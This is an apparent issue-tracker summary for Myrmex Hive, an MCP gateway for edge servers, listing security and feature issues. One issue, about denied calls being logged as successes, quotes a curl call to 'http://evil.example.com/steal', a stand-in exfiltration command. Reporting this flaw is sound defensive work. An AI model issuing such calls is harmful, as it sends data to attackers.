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Myrmex Hive MCP Server

Zero-inbound-port MCP gateway for managing distributed edge servers over reverse SSH tunnels

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Status

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Published as ghcr.io/olafkfreund/myrmex-gateway:1.0.3 on oci. Runs locally.

Known issues

24 problems reported by people outside the maintainer team. Issues filed by the project's own owners, members and collaborators are excluded — those are release checklists and internal refactors, not things that will go wrong for you. Showing 12.

Most discussed

Alert webhook has no auth (bearer/custom headers) or TLS control

Problem

alert_webhook_url (#100) POSTs alerts to an arbitrary endpoint with no authentication. There is no field for a bearer token or custom headers, so the only way to authenticate today is to smuggle a secret into the URL itself — which then lands in config, logs and error messages.

Documented as a known gap in docs/OBSERVABILITY.md:

No auth on the webhook yet. There is no field for a bearer token or custom headers, so point alert_webhook_url at an endpoint that either do

Read the thread · 2026-07-14 · closed · 1 comment

Tenant isolation / per-tenant token namespaces

Problem

Today all tokens and agents share one flat namespace, so the gateway cannot safely serve multiple tenants (MSP use case).

Acceptance

  • Introduce a tenant dimension: tokens, agents, and tool access scoped per tenant.
  • A tenant cannot see or call another tenant's agents/tools.
  • Backward-compatible: single implicit tenant when multi-tenancy is not configured.

Read the thread · 2026-07-02 · closed · 1 comment

Submit server.json to the public MCP registry

Problem

Myrmex Hive is a working MCP server but is not discoverable in the public MCP registry.

Acceptance

  • Author/validate a server.json describing the gateway MCP server.
  • Submit to the public MCP registry and document the process.
  • CI check keeps server.json valid against the registry schema.

Read the thread · 2026-07-02 · closed · 1 comment

[Epic] Operational Polish & DX

Summary

Gaps in health checks, versioning, branding consistency, install method, and MCP-ecosystem distribution. This epic tracks operational-polish and developer-experience work to make Myrmex Hive production-friendly and easy to adopt.

Child issues

  • #54 — Unauthenticated /healthz and /readyz endpoints
  • #60 — --version / build info in all binaries
  • #65 — Fix branding/module-path consistency
  • #68 — Installer pulls released binaries instead of compiling on target

Read the thread · 2026-07-02 · closed · 1 comment

Constant-time token comparison

Problem: Bearer token validation used == comparison, exposing a timing side-channel. Acceptance: Token comparison uses subtle.ConstantTimeCompare.

Read the thread · 2026-07-02 · closed · 1 comment

Most recent

Audit log records DENIED tool calls as status=success

What

A tool call refused by the agent's allowlist is written to the signed audit log as:

{"action":"api_call","command":"run_command {\"name\":\"curl\",\"args\":[\"-s\",\"--max-time\",\"3\",\"http://evil.example.com/steal\"]}","status":"success","details":"Tool execution completed"}

status: success, details: Tool execution completed — for a call that never executed.

Why it matters

The refusal happens agent-side; the gateway only sees that the round trip completed,

Read the thread · 2026-07-21 · closed · 0 comments

Full OIDC/JWKS token validation (native)

Problem

Gateway auth maps static bearer tokens to roles. Enterprise SSO requires validating real OIDC-issued JWTs natively, not just trusting a proxy header.

Acceptance

  • Native OIDC support: validate JWT signatures against a JWKS endpoint, check issuer/audience/expiry.
  • Map validated claims to existing roles (admin/operator/read-only).
  • Static tokens remain supported for backward compatibility.

Read the thread · 2026-07-02 · closed · 0 comments

Enforce fine-grained agent/tool scoping on the /message SSE MCP path

Follow-up from epic #27: per-token agent/tool scoping (authorizeToolCall) is enforced on the REST /api/call path but NOT the /message SSE MCP transport, which currently enforces only path-level RBAC. Threading the request scope through the async JSON-RPC dispatch needs a handler-signature refactor. Tracked separately so epic #27 can close.

Read the thread · 2026-07-02 · closed · 0 comments

Publish gateway as a first-class MCP server in public registries

Problem

The Gateway is a full MCP server but is not distributed through the MCP ecosystem, limiting discoverability and adoption.

Acceptance

  • Publish the Gateway as a first-class MCP server in public MCP registries (e.g. the MCP server registry / directories).
  • Provide required metadata/manifest and install instructions for MCP clients.
  • Document the distribution/publishing process for future releases.

Read the thread · 2026-07-02 · closed · 0 comments

External host-public-key distribution for third-party verification

Problem: Third-party auditors cannot independently verify the signed audit log without trusted access to the gateway host public key. There is no supported way to publish/distribute it.

Acceptance:

  • Gateway exposes/publishes its host public key (e.g. REST endpoint and/or exportable file).
  • Documented, offline-friendly way for auditors to obtain and pin the key.
  • myrmex audit verify can consume an externally distributed public key file.
  • Key format and fingerprint are documented for out-of

Read the thread · 2026-07-02 · closed · 0 comments

OIDC/SSO for operator authentication

Problem

Operator authentication is static bearer-token only (tokens map to roles). This lacks central identity, expiry, and SSO integration. Operators should be able to authenticate via OIDC/SSO.

Acceptance

  • Gateway supports OIDC/SSO login for operators (CLI, MCP, REST) alongside or replacing static bearer tokens.
  • Identity claims map to existing roles (admin/operator/read-only).
  • Tokens/sessions expire; identity is captured in the signed audit log.

Read the thread · 2026-07-02 · closed · 0 comments

Enrollment API with short-lived join tokens

Problem

Onboarding a new agent is manual: generate an Ed25519 keypair, then hand-edit the gateway's authorized_keys. This does not scale and is error-prone. Agents should be able to self-register with a one-time, short-lived join token instead of manual key editing.\n\n## Acceptance\n\n- Gateway exposes an enrollment endpoint that accepts a short-lived, single-use join token.\n- On valid token, the agent's public key is registered automatically (no manual authorized_keys editing).\n- Joi

Read the thread · 2026-07-02 · closed · 0 comments

See all 20 reports Pod holds for Myrmex Hive — of 24 qualified upstream.

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